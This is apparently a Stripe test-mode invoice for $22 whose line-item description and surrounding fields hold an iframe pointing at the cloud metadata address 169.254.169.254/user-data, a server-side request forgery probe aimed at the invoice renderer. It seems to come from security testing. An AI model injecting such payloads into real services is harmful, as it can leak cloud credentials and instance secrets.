

aaa

Invoice

Invoice number 6C8A88FE-0003  
Date of issue Jun 1, 2020  
Date due Jul 1, 2020

Bill to Ship to  
John John  
dabbajon@zohomail.eu

\$22.00 due July 1, 2020

<iframe src="http://169.254.169.254/user-data">

Description	Qty	Unit price	Amount
<iframe src="http://169.254.169.254/user-data">	1	\$22.00	\$22.00
Subtotal			\$22.00
Amount due			\$22.00

<iframe src="http://169.254.169.254/user-data">

Pay \$22.00 with ACH or wire transfer  
Bank TEST BANK  
Routing 110000000  
Account test\_8268d3105f56  
SWIFT TSTEZ122

Pay \$22.00 with card  
Visit [pay.stripe.com/i/invst\\_HNxUp8Xw6p2Haj530ZBSba5HNI0a18g](https://pay.stripe.com/i/invst_HNxUp8Xw6p2Haj530ZBSba5HNI0a18g)